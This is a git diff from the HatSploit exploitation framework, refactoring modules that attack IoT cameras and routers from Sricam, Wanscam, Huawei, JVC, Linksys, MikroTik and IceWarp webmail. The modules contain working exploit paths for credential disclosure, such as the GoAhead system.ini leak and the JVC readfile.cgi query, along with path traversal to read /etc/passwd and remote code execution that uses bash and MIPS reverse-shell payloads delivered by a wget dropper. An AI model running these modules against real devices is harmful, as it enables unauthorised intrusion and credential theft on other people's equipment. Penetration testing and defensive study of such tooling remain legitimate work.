+                'Sricam 004',
+                'Sricam A0009',
+                'Sricam A001',
+                'Sricam AP-001',
+                'Sricam AP-003',
+                'Sricam AP-004',
+                'Sricam AP-005',
+                'Sricam AP-006',
+                'Sricam AP-009',
+                'Sricam AP-012',
+                'Sricam AP-CAM',
+                'Sricam AP0009',
+                'Sricam AP002',
+                'Sricam AP995',
+                'Sricam Cam1',
+                'Sricam Front',
+                'Sricam Home',
+                'Sricam Other',
+                'Sricam SP005',
+                'Sricam SP012',
+                'Sricam SP013',
+                'Sricam SP015',
+                'Sricam SRICAM',
+                'Sricam SRICAM1',
+                'Sricam aj-c2wa-c118',
+                'Sricam ap',
+                'Sricam ap006',
+                'Sricam ap1',
+                'Sricam h.264',
+                'Sricam sp013',
+                'Sricctv A-0006',
+                'Sricctv A-009',
+                'Sricctv AJ-006',
+                'Sricctv AP-0001',
+                'Sricctv AP-0005',
+                'Sricctv AP-0009',
+                'Sricctv AP-001',
+                'Sricctv AP-002',
+                'Sricctv AP-003',
+                'Sricctv AP-004',
+                'Sricctv AP-004AF',
+                'Sricctv AP-005',
+                'Sricctv AP-006',
+                'Sricctv AP-007',
+                'Sricctv AP-008',
+                'Sricctv AP-009',
+                'Sricctv AP-011',
+                'Sricctv AP-014',
+                'Sricctv H-264',
+                'Sricctv Other',
+                'Sricctv P2P-BLACK',
+                'Sricctv P2P-Black',
+                'Sricctv SP-007',
+                'Sricctv SR-001',
+                'Sricctv SR-004',
+                'Star+Vedia 6836',
+                'Star+Vedia 7837-WIP',
+                'Star+Vedia C-7835WIP',
+                'Star+Vedia Other',
+                'Star+Vedia T-6836WTP',
+                'Star+Vedia T-7833WIP',
+                'Star+Vedia T-7837WIP',
+                'Star+Vedia T-7838WIP',
+                'StarCam C33-X4',
+                'StarCam EY4',
+                'StarCam F6836W',
+                'StarCam Other',
+                'StarCam c7837wip',
+                'Stipelectronics Other',
+                'Storage+Options HOMEGUARD',
+                'Storage+Options Other',
+                'Storage+Options SON-IPC1',
+                'Sumpple 610',
+                'Sumpple 610S',
+                'Sumpple 631',
+                'Sumpple 960P',
+                'Sumpple S601',
+                'Sumpple S610',
+                'Sumpple S631',
+                'Sumpple S651',
+                'Sumpple qd300',
+                'Sumpple s631',
+                'SunVision+US Other',
+                'Sunbio Other',
+                'Suneyes Other',
+                'Suneyes SP-T01EWP',
+                'Suneyes SP-T01WP',
+                'Suneyes SP-TM01EWP',
+                'Suneyes SP-TM01WP',
+                'Suneyes SP-tm05wp',
+                'Sunluxy H-264',
+                'Sunluxy HZCam',
+                'Sunluxy Other',
+                'Sunluxy PTZ',
+                'Sunluxy SL-701',
+                'Supra+Space IPC',
+                'Supra+Space IPC-1',
+                'Supra+Space IPC-100AC',
+                'Supra+Space IPC-10AC',
+                'Supra+Space Other11',
+                'Supra+Space ipc-20c',
+                'Sure-Eye Other',
+                'Surecom LN-400',
+                'Swann 005FTCD',
+                'Swann 440',
+                'Swann 440-IPC',
+                'Swann ADS-440',
+                'Swann ADS-440-PTZ',
+                'Swann ADS-CAMAX1',
+                'Swann Other',
+                'Swann SWADS-440-IPC',
+                'Swann SWADS-440IPC-AU',
+                'Sygonix 43176A',
+                'Sygonix 43558A',
+                'Szneo CAM0X',
+                'Szneo CoolCam',
+                'Szneo NIP',
+                'Szneo NIP-0',
+                'Szneo NIP-02',
+                'Szneo NIP-031',
+                'Szneo NIP-031H',
+                'Szneo NIP-06',
+                'Szneo NIP-12',
+                'Szneo NIP-2',
+                'Szneo NIP-20',
+                'Szneo NIP-210485-ABABC',
+                'Szneo NIP-26',
+                'Szneo NIP-X',
+                'Szneo NP-254095',
+                'Szneo Other',
+                'Szneo TFD',
+                'TAS-Tech Other',
+                'Technaxx tx-23',
+                'Techview GM8126',
+                'Techview QC-3638',
+                'Techview qc3839',
+                'Temvis Other',
+                'Tenda C50S',
+                'Tenda c30',
+                'Tenda c5+',
+                'Tenvis 0012',
+                'Tenvis 3815',
+                'Tenvis 3815-W',
+                'Tenvis 3815W',
+                'Tenvis 3815W.',
+                'Tenvis 3815W2013',
+                'Tenvis IP-319W',
+                'Tenvis IP-319w',
+                'Tenvis IP-391W',
+                'Tenvis IP-391WHD',
+                'Tenvis IP-602W',
+                'Tenvis IP602W',
+                'Tenvis IPROBOT',
+                'Tenvis JP-3815W',
+                'Tenvis JPT-3814WP2P',
+                'Tenvis JPT-3815',
+                'Tenvis JPT-3815-P2P',
+                'Tenvis JPT-3815W',
+                'Tenvis JPT-3815W+',
+                'Tenvis JPT-3815WP2P',
+                'Tenvis JPT-3815w',
+                'Tenvis JPT-3818',
+                'Tenvis MINI-319W',
+                'Tenvis Mini-319',
+                'Tenvis Other',
+                'Tenvis PT-7131W',
+                'Tenvis TH-661',
+                'Tenvis TR-3818',
+                'Tenvis TR-3828',
+                'Tenvis TR3815W',
+                'Tenvis TZ100',
+                'Tenvis TZ100/IPROBOT3',
+                'Tenvus JPG3815W',
+                'Threeboy IP-660',
+                'Topcam SL-30IPC01Z',
+                'Topcam SL-720IPC02Z',
+                'Topcam SL-910IW30',
+                'Topica+CCTV Other',
+                'Trivision NC-335PW-HD-10',
+                'Trust NW-7500',
+                'Turbo+X Endurance',
+                'Turbo+X IIPC-20',
+                'Uokoo 720P',
+                'VCatch Other',
+                'VCatch VC-MIC720HK',
+                'Valtronics IP',
+                'Valtronics Other',
+                'Vandesc IP900',
+                'Vantech Other',
+                'Vantech PTZ',
+                'Videosec+Security IPC-103',
+                'Videosec+Security IPP-105',
+                'Vimicro Other',
+                'Vitek+CCTV Other',
+                'Vstarcam 7823',
+                'Vstarcam C-7824WIP',
+                'Vstarcam C-7833WIP-X4',
+                'Vstarcam C-7833wip',
+                'Vstarcam C-7837WIP',
+                'Vstarcam C-7838WIP',
+                'Vstarcam C50S',
+                'Vstarcam C7816W',
+                'Vstarcam C7824WIP',
+                'Vstarcam C782WIP',
+                'Vstarcam C7842WIP',
+                'Vstarcam C93',
+                'Vstarcam C=7824WIP',
+                'Vstarcam Cam360',
+                'Vstarcam F-6836W',
+                'Vstarcam H-6837WI',
+                'Vstarcam H-6837WIP',
+                'Vstarcam H-6850',
+                'Vstarcam H-6850WIP',
+                'Vstarcam H-6850wip',
+                'Vstarcam ICAM-608',
+                'Vstarcam Other',
+                'Vstarcam T-6835WIP',
+                'Vstarcam T-6836WTP',
+                'Vstarcam T-6892wp',
+                'Vstarcam T-7815WIP',
+                'Vstarcam T-7833WIP',
+                'Vstarcam T-7833wip',
+                'Vstarcam T-7837WIP',
+                'Vstarcam T-7838WIP',
+                'Vstarcam T-7892WIP',
+                'Vstarcam T6836WTP',
+                'Vstarcam T7837WIP',
+                'Vstarcam c7815wip',
+                'Vstarcam c7833wip',
+                'Vstarcam c7850wip',
+                'Wanscam 00D6FB01980F',
+                'Wanscam 106B',
+                'Wanscam 118',
+                'Wanscam 541-W',
+                'Wanscam 543-W',
+                'Wanscam 790',
+                'Wanscam AJ-C0WA-198',
+                'Wanscam AJ-C0WA-B106',
+                'Wanscam AJ-C0WA-B116',
+                'Wanscam AJ-C0WA-B168',
+                'Wanscam AJ-C0WA-B1D8',
+                'Wanscam AJ-C0WA-C0D8',
+                'Wanscam AJ-C0WA-C116',
+                'Wanscam AJ-C0WA-C126',
+                'Wanscam AJ-C2WA-B118',
+                'Wanscam AJ-C2WA-C116',
+                'Wanscam AJ-C2WA-C118',
+                'Wanscam AJ-C2WA-C198',
+                'Wanscam AJ-COWA-B1D8',
+                'Wanscam AJ-COWA-C116',
+                'Wanscam AJ-COWA-C126',
+                'Wanscam AJ-COWA-C128',
+                'Wanscam AW00004J',
+                'Wanscam B1D8-1',
+                'Wanscam C-118',
+                'Wanscam C-126',
+                'Wanscam Colour',
+                'Wanscam FI-18904w',
+                'Wanscam FR-4020A2',
+                'Wanscam FR4020A2',
+                'Wanscam HD-100W',
+                'Wanscam HW-0021',
+                'Wanscam HW-0022',
+                'Wanscam HW-0022HD',
+                'Wanscam HW-0023',
+                'Wanscam HW-0024',
+                'Wanscam HW-0025',
+                'Wanscam HW-0026',
+                'Wanscam HW-0028',
+                'Wanscam HW-0033',
+                'Wanscam HW-0036',
+                'Wanscam HW-0038',
+                'Wanscam HW-0039',
+                'Wanscam HW-22',
+                'Wanscam HW0030',
+                'Wanscam IP',
+                'Wanscam JW-0001',
+                'Wanscam JW-0003',
+                'Wanscam JW-0004',
+                'Wanscam JW-0004m',
+                'Wanscam JW-0005',
+                'Wanscam JW-0006',
+                'Wanscam JW-0008',
+                'Wanscam JW-0009',
+                'Wanscam JW-0010',
+                'Wanscam JW-0011',
+                'Wanscam JW-0011l',
+                'Wanscam JW-0012',
+                'Wanscam JW-0018',
+                'Wanscam JW-004',
+                'Wanscam JW-009',
+                'Wanscam JW-CD',
+                'Wanscam JW000008',
+                'Wanscam JW0009',
+                'Wanscam JW001',
+                'Wanscam JW0012',
+                'Wanscam JW008',
+                'Wanscam JWEV',
+                'Wanscam JWEV-011777-NSRVV',
+                'Wanscam JWEV-011921-RXSXT',
+                'Wanscam JWEV-360171-BBEAC',
+                'Wanscam JWEV-380096-CECDB',
+                'Wanscam JWEV-PEPLOW',
+                'Wanscam NBC-543W',
+                'Wanscam NC-530',
+                'Wanscam NC-541',
+                'Wanscam NC-541/W',
+                'Wanscam NC-541W',
+                'Wanscam NC-541w',
+                'Wanscam NC-543W',
+                'Wanscam NCB-534W',
+                'Wanscam NCB-540W',
+                'Wanscam NCB-541W',
+                'Wanscam NCB-541WB',
+                'Wanscam NCB-543W',
+                'Wanscam NCBL-618W',
+                'Wanscam NCH-532MW',
+                'Wanscam NCL-610W',
+                'Wanscam NCL-612W',
+                'Wanscam NCL-616W',
+                'Wanscam NCL-S616W',
+                'Wanscam Other',
+                'Wanscam TG-002',
+                'Wanscam WJ-0004',
+                'Wanscam WX-617',
+                'Wanscam Works',
+                'Wanscam XHA-120903181',
+                'Wanscam XHA-4020a2',
+                'Wanscam __PTZ',
+                'Wanscam chiOthernese',
+                'Wanscam ip',
+                'Wanscam jw0005',
+                'Wanscam jw0010',
+                'Wansview 541',
+                'Wansview 625W',
+                'Wansview MCM-627',
+                'Wansview N540w',
+                'Wansview NCB-534W',
+                'Wansview NCB-541W',
+                'Wansview NCB-541w',
+                'Wansview NCB-543W',
+                'Wansview NCB541W',
+                'Wansview NCB545W',
+                'Wansview NCL-610W',
+                'Wansview NCL610D04',
+                'Wansview NCL614W',
+                'Wansview Other',
+                'Wansview dcs543w',
+                'Wansview nc543w',
+                'Wardmay+CCTV WDM-6702AL',
+                'Watch+bot+Camera resup',
+                'WebcamXP Other',
+                'WinBook Other',
+                'WinBook T-6835',
+                'WinBook T-6835WIP',
+                'WinBook T-7838',
+                'Winic NVT-530004',
+                'Wise+Group Other',
+                'X-Price Other',
+                'X10 39A',
+                'X10 AIRSIGHT',
+                'X10 AirSight',
+                'X10 Airsight',
+                'X10 Jake',
+                'X10 Other',
+                'X10 XC-38A',
+                'X10 XX-36A',
+                'X10 XX-39A',
+                'X10 XX-56A',
+                'X10 XX-59A',
+                'X10 XX-60',
+                'X10 XX-69A',
+                'X10 XX41Ahome',
+                'XVision Other',
+                'XXCamera 53100',
+                'XXCamera 5330-E',
+                'XXCamera Other',
+                'XXCamera XXC-000723-NJFJD',
+                'XXCamera XXC-092411-DCAFC',
+                'XXCamera XXC-50100-H',
+                'XXCamera XXC-50100-T',
+                'XXCamera XXC-5030-E',
+                'XXCamera XXC-53100-T',
+                'XXCamera XXC52130',
+                'Xin+Ling Other',
+                'Yawcam Other',
+                'Zilink Other',
+                'Zmodo CMI-11123BK',
+                'Zmodo IP-900',
+                'Zmodo Other',
+                'Zodiac+Security 909',
+                'Zodiac+Security Other',
+                'Zoneway NC638MW-P',
+                'ZyXEL Other',
+                'alexim Other',
+                'alexim cam22822',
+                'alias Other',
+                'all+in+one+ Other',
+                'all+in+one+ b1',
+                'all-in-one Other',
+                'allecto DVC-150IP',
+                'apc Other',
+                'asw-006 Other',
+                'boh l',
+                'bravo Other',
+                'bush+plus BU-300WF',
+                'ccam p2p',
+                'china 8904W',
+                'china HDIPCAM',
+                'china IPCAM',
+                'china Other',
+                'china PTZCAM',
+                'china np-02',
+                'ciana+exports antani',
+                'cina Other',
+                'coolead L',
+                'coolead L610WS',
+                'dax Other',
+                'denver IPC-320',
+                'denver IPO-320',
+                'e-landing 720p',
+                'eScam QF100',
+                'ebw Other',
+                'epexis PIPCAMHD82',
+                'epexis pipcam5',
+                'esecure nvp',
+                'geeya C602',
+                'geeya P2P',
+                'geeya c801',
+                'hdcam Other',
+                'homeguard 720P',
+                'homeguard Other',
+                'homeguard Wireless',
+                'homeguard wifi',
+                'iView ID002A',
+                'iView Other',
+                'insteon 75790',
+                'insteon 75790wh',
+                'insteon High',
+                'insteon Other',
+                'insteon Wireless',
+                'iuk 5A1',
+                'ivision hdwificam',
+                'iwitness bullet',
+                'jwt Other',
+                'jyacam JYA8010',
+                'kadymay KDM-6800',
+                'kadymay KDM6702',
+                'kadymay KMD-6800',
+                'kadymay Other',
+                'kang+xun xxc5030-t',
+                'kines Other',
+                'kiocong 1601',
+                'kiocong 1602',
+                'kiocong 1609',
+                'kiocong Other',
+                'kodak 201pl',
+                'koicong 1601',
+                'l+series CAM0758',
+                'l+series CAM0760',
+                'l+series Other',
+                'l+series V100',
+                'logan n8504hh',
+                'meyetech 095475-caeca',
+                'meyetech 188091-EFBAE',
+                'meyetech Other',
+                'meyetech WirelessCam',
+                'micasaverde VistaCamSD',
+                'pipcam HD17',
+                'pni 941w',
+                'pni IP451W',
+                'pni IP541W',
+                'pni IP941W',
+                'pni IP951W',
+                'pni Other',
+                'pnp IP',
+                'pnp Other',
+                'semac Other',
+                'skylink WC-300PS',
+                'storex D-10H',
+            ],
+            'References': [
+                {'URL': 'https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html'},
+                {'URL': 'https://nvd.nist.gov/vuln/detail/cve-2017-8225'},
+                {'CVE': '2017-8225'}
+            ],
+            'DisclosureDate': "2017-04-25",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
         })
 
-        self.username = Option("admin", "Default username.", True)
+        self.username = Option('USER', "admin", "Default username.", True)
 
     def check(self):
         response = self.http_request(
@@ -34,10 +1301,10 @@ def check(self):
             path='/system.ini?loginuse&loginpas',
         )
 
-        if not response or response.status_code != 200:
-            return False
+        if response and response.status_code == 200:
+            return True
 
-        return True
+        return False
 
     def run(self):
         response = self.http_request(
@@ -46,7 +1313,7 @@ def run(self):
         )
 
         gathered_data = response.text
-        strings = self.extract_strings(gathered_data)
+        strings = String().extract_strings(gathered_data)
 
         if username in strings:
             username_index = strings.index(self.username.value)
diff --git a/hatsploit/modules/exploit/linux/huawei/hg630_information_disclosure.py b/hatsploit/modules/exploit/linux/huawei/hg630_information_disclosure.py
index 1b5ba0a69..7915e93bd 100755
--- a/hatsploit/modules/exploit/linux/huawei/hg630_information_disclosure.py
+++ b/hatsploit/modules/exploit/linux/huawei/hg630_information_disclosure.py
@@ -3,25 +3,35 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
 
 
 class HatSploitModule(Module, HTTP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "Huawei HG630 Information Disclosure",
             'Module': "exploit/linux/huawei/hg630_information_disclosure",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'Eslam Medhat - vulnerability researcher',
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "Eslam Medhat - vulnerability researcher",
             ],
-            'Description': "Huawei HG630 information disclosure exploit.",
+            'Description': (
+                "Huawei HG630 VER.B modem has a vulnerability leading to an information disclosure."
+            ),
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
+            'References': [
+                {'URL': 'https://www.exploit-db.com/exploits/48310'},
+                {'EDB': 48310}
+            ],
+            'DisclosureDate': "2020-04-13",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
         })
 
     def check(self):
@@ -30,10 +40,10 @@ def check(self):
             path='/api/system/deviceinfo',
         )
 
-        if not response or response.status_code != 200:
-            return False
+        if response and response.status_code == 200:
+            return True
 
-        return True
+        return False
 
     def run(self):
         response = self.http_request(
diff --git a/hatsploit/modules/exploit/linux/icewarp/webmail_path_traversal.py b/hatsploit/modules/exploit/linux/icewarp/webmail_path_traversal.py
deleted file mode 100755
index 947ff1156..000000000
--- a/hatsploit/modules/exploit/linux/icewarp/webmail_path_traversal.py
+++ /dev/null
@@ -1,49 +0,0 @@
-"""
-This module requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
-
-
-class HatSploitModule(Module, HTTP):
-    def __init__(self):
-        super().__init__()
-
-        self.details.update({
-            'Category': "exploit",
-            'Name': "IceWarp WebMail Path Traversal",
-            'Module': "exploit/linux/icewarp/webmail_path_traversal",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'Jameel Nabbo (JameelNabbo) - vulnerability researcher',
-            ],
-            'Description': "Path Traversal in IceWarp <= 10.4.4 WebMail.",
-            'Platform': OS_LINUX,
-            'Rank': "high",
-        })
-
-        self.file = Option("/etc/passwd", "File to read.", True)
-
-    def check(self):
-        response = self.http_request(
-            method="GET",
-            path='/webmail/calendar/minimizer/index.php',
-        )
-
-        if not response or response.status_code != 200:
-            return False
-
-        return True
-
-    def run(self):
-        response = self.http_request(
-            method="GET",
-            path=f'/webmail/calendar/minimizer/index.php?style=../../../../../../../../{self.file.value}',
-        )
-
-        if response.text:
-            self.print_empty(f"\n{response.text}")
-        else:
-            self.print_warning("File is empty.")
diff --git a/hatsploit/modules/exploit/linux/jvc/t216vpru_credentials_disclosure.py b/hatsploit/modules/exploit/linux/jvc/t216vpru_credentials_disclosure.py
index 63cb21586..ff3447288 100755
--- a/hatsploit/modules/exploit/linux/jvc/t216vpru_credentials_disclosure.py
+++ b/hatsploit/modules/exploit/linux/jvc/t216vpru_credentials_disclosure.py
@@ -3,24 +3,38 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
 
 
 class HatSploitModule(Module, HTTP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "JVC VN-T216VPRU Credentials Disclosure",
             'Module': "exploit/linux/jvc/t216vpru_credentials_disclosure",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "Yakir Wizman - vulnerability researcher"
             ],
-            'Description': "JVC VN-T216VPRU credentials disclosure.",
+            'Description': (
+                "JVC VN-T216VPRU camera has a vulnerability leading to complete "
+                "credentials disclosure by an attacker."
+            ),
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
+            'References': [
+                {'URL': 'https://www.exploit-db.com/exploits/40264'},
+                {'URL': 'http://pro.jvc.com/'},
+                {'URL': 'http://pro.jvc.com/prof/attributes/features.jsp?model_id=MDL102145'},
+                {'EDB': 40264}
+            ],
+            'DisclosureDate': "2016-08-19",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
         })
 
     def check(self):
@@ -29,10 +43,10 @@ def check(self):
             path='/cgi-bin/readfile.cgi?query=ADMINID',
         )
 
-        if not response or response.status_code != 200:
-            return False
+        if response and response.status_code == 200:
+            return True
 
-        return True
+        return False
 
     def run(self):
         response = self.http_request(
diff --git a/hatsploit/modules/exploit/linux/jvc/t216vpru_path_traversal.py b/hatsploit/modules/exploit/linux/jvc/t216vpru_path_traversal.py
index f5939cbd7..e602bef25 100755
--- a/hatsploit/modules/exploit/linux/jvc/t216vpru_path_traversal.py
+++ b/hatsploit/modules/exploit/linux/jvc/t216vpru_path_traversal.py
@@ -3,27 +3,41 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
 
 
 class HatSploitModule(Module, HTTP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "JVC VN-T216VPRU Path Traversal",
             'Module': "exploit/linux/jvc/t216vpru_path_traversal",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "Yakir Wizman - vulnerability researcher"
             ],
-            'Description': "Path Traversal in JVC VN-T216VPRU.",
+            'Description': (
+                "JVC VN-T216VPRU camera has a vulnerability leading to a "
+                "path traversal by an attacker."
+            ),
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
+            'References': [
+                {'URL': 'https://www.exploit-db.com/exploits/40282'},
+                {'URL': 'http://pro.jvc.com/'},
+                {'URL': 'http://pro.jvc.com/prof/attributes/features.jsp?model_id=MDL102145'},
+                {'EDB': 40282}
+            ],
+            'DisclosureDate': "2016-08-22",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            }
         })
 
-        self.file = Option("/etc/passwd", "File to read.", True)
+        self.file = Option('FILE', "/etc/passwd", "File to read.", True)
 
     def check(self):
         response = self.http_request(
@@ -31,10 +45,10 @@ def check(self):
             path=f'/cgi-bin/check.cgi?file=../../..//etc/passwd',
         )
 
-        if not response or response.status_code != 200:
-            return False
+        if response and response.status_code == 200:
+            return True
 
-        return True
+        return False
 
     def run(self):
         response = self.http_request(
diff --git a/hatsploit/modules/exploit/linux/linksys/eseries_tmunblock_rce.py b/hatsploit/modules/exploit/linux/linksys/eseries_tmunblock_rce.py
index 72e8a7b6e..9b8182f32 100755
--- a/hatsploit/modules/exploit/linux/linksys/eseries_tmunblock_rce.py
+++ b/hatsploit/modules/exploit/linux/linksys/eseries_tmunblock_rce.py
@@ -3,32 +3,68 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
 
 
 class HatSploitModule(Module, Handler, HTTP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "Linksys E-Series tmUnblock Remote Code Execution",
             'Module': "exploit/linux/linksys/eseries_tmunblock_rce",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'Johannes Ullrich (jullrich) - vulnerability researcher',
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "Johannes Ullrich (jullrich) - vulnerability researcher",
             ],
-            'Description': "Remote Code Execution in Linksys E-Series.",
+            'Description': (
+                "Linksys E-Series have a vulnerability leading to a remote code execution."
+            ),
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
             'Payload': {
-                'Value': "linux/mipsle/shell_reverse_tcp",
-                'Arches': [ARCH_MIPSLE, ARCH_MIPSBE, ARCH_GENERIC],
-                'Platforms': [OS_LINUX, OS_UNIX],
+                PayloadInlineMixin: {
+                    'Value': "unix/generic/bash_reverse_tcp",
+                    'Platform': [OS_LINUX, OS_UNIX],
+                    'Arch': [ARCH_GENERIC],
+                },
+                PayloadDropMixin: {
+                    'Value': "linux/mipsle/shell_reverse_tcp",
+                    'Platform': [OS_LINUX],
+                    'Arch': [ARCH_MIPSLE, ARCH_MIPSBE],
+                }
+            },
+            'Devices': [
+                "Linksys E900",
+                "Linksys E1000",
+                "Linksys E1200",
+                "Linksys E1500",
+                "Linksys E1550",
+                "Linksys E2000",
+                "Linksys E2100L",
+                "Linksys E2500",
+                "Linksys E3000",
+                "Linksys E3200",
+                "Linksys E4200",
+            ],
+            'References': [
+                {'URL': 'https://www.exploit-db.com/exploits/31683'},
+                {'URL': 'https://packetstormsecurity.com/files/125253'},
+                {'URL': 'https://packetstormsecurity.com/files/125252'},
+                {'URL': 'https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633'},
+                {'EDB': 31683},
+            ],
+            'DisclosureDate': "2014-02-16",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [RELIABLE_SESSION],
+                'SideEffects': [],
             }
         })
 
+    def __call__(self):
+        self.dropper.set('wget')
+
     def exploit(self, command):
         self.http_request(
             method="POST",
@@ -58,7 +94,6 @@ def check(self):
 
     def run(self):
         self.module_handle(
-            method="echo",
             linemax=500,
             sender=self.exploit,
         )
diff --git a/hatsploit/modules/exploit/linux/linksys/wap54gv3_debug_rce.py b/hatsploit/modules/exploit/linux/linksys/wap54gv3_debug_rce.py
index 9cf412a1b..8883eea19 100755
--- a/hatsploit/modules/exploit/linux/linksys/wap54gv3_debug_rce.py
+++ b/hatsploit/modules/exploit/linux/linksys/wap54gv3_debug_rce.py
@@ -5,32 +5,58 @@
 
 import re
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import HTTP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import HTTP
 
 
 class HatSploitModule(Module, Handler, HTTP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
             'Name': "Linksys WAP54Gv3 debug Remote Code Execution",
             'Module': "exploit/linux/linksys/wap54gv3_debug_rce",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'Phil Purviance - vulnerability researcher',
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "Phil Purviance - vulnerability researcher",
             ],
-            'Description': "Remote Code Execution in Linksys WAP54Gv3.",
+            'Description': (
+                "Linksys WAP54Gv3 with firmware version 3.04.03 has a hardcoded "
+                "credentials allowing code execution."
+            ),
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
             'Payload': {
-                'Value': "linux/mipsle/shell_reverse_tcp",
-                'Arches': [ARCH_MIPSLE, ARCH_MIPSBE, ARCH_GENERIC],
-                'Platforms': [OS_LINUX, OS_UNIX],
+                PayloadInlineMixin: {
+                    'Value': "unix/generic/bash_reverse_tcp",
+                    'Platform': [OS_LINUX, OS_UNIX],
+                    'Arch': [ARCH_GENERIC],
+                },
+                PayloadDropMixin: {
+                    'Value': "linux/mipsle/shell_reverse_tcp",
+                    'Platform': [OS_LINUX],
+                    'Arch': [ARCH_MIPSLE, ARCH_MIPSBE],
+                }
+            },
+            'Devices': [
+                "Linksys WAP54Gv3 - firmware version 3.04.03"
+            ],
+            'References': [
+                {'URL': 'https://www.cvedetails.com/cve/CVE-2010-1573/'},
+                {'URL': 'https://nvd.nist.gov/vuln/detail/CVE-2010-1573'},
+                {'URL': 'http://seclists.org/bugtraq/2010/Jun/93'},
+                {'CVE': '2010-1573'}
+            ],
+            'DisclosureDate': "2010-06-09",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [RELIABLE_SESSION],
+                'SideEffects': [],
             }
         })
 
+    def __call__(self):
+        self.dropper.set('wget')
+
     def exploit(self, command):
         response = self.http_request(
             method="POST",
@@ -60,6 +86,5 @@ def check(self):
 
     def run(self):
         self.module_handle(
-            method="echo",
             sender=self.exploit,
         )
diff --git a/hatsploit/modules/exploit/linux/mikrotik/winbox_credentials_disclosure.py b/hatsploit/modules/exploit/linux/mikrotik/winbox_credentials_disclosure.py
index 667605a5f..bcfb29ebe 100755
--- a/hatsploit/modules/exploit/linux/mikrotik/winbox_credentials_disclosure.py
+++ b/hatsploit/modules/exploit/linux/mikrotik/winbox_credentials_disclosure.py
@@ -5,28 +5,43 @@
 
 from hashlib import md5
 
-from hatsploit.lib.module.basic import *
-from hatsploit.lib.module.proto import TCP
+from hatsploit.lib.core.module.basic import *
+from hatsploit.lib.core.module.proto import TCP
 
 
 class HatSploitModule(Module, TCP):
     def __init__(self):
-        super().__init__()
-
-        self.details.update({
+        super().__init__({
             'Category': "exploit",
-            'Name': "MikroTik WinBox Credentials Disclosure",
+            'Name': "Mikrotik WinBox Credentials Disclosure",
             'Module': "exploit/linux/mikrotik/winbox_credentials_disclosure",
             'Authors': [
-                'Ivan Nikolskiy (enty8080) - module developer',
-                'Alireza Mosajjal - vulnerability researcher',
-                'Mostafa Yalpaniyan - vulnerability researcher',
+                "Ivan Nikolskiy (enty8080) - module developer",
+                "Alireza Mosajjal - vulnerability researcher",
+                "Mostafa Yalpaniyan - vulnerability researcher",
             ],
-            'Description': "MikroTik WinBox RouterOS from 6.29 till 6.42 credentials disclosure.",
+            'Description': (
+                "Mikrotik WinBox RouterOS from 6.29 till 6.42 credentials disclosure."
+            ),
             'Platform': OS_LINUX,
-            'Rank': "high",
+            'Rank': HIGH_RANK,
+            'Devices': [
+                "Mikrotik RouterOS versions from 6.29 (release date: 2015/28/05) to 6.42 (release date 2018/04/20)"
+            ],
+            'References': [
+                {'URL': 'https://github.com/BasuCert/WinboxPoC'},
+                {'URL': 'https://nvd.nist.gov/vuln/detail/cve-2018-14847'},
+                {'CVE': '2018-14847'}
+            ],
+            'DisclosureDate': "2018-02-08",
+            'Notes': {
+                'Stability': [CRASH_SAFE],
+                'Reliability': [],
+                'SideEffects': [],
+            },
         })
 
+    def __call__(self):
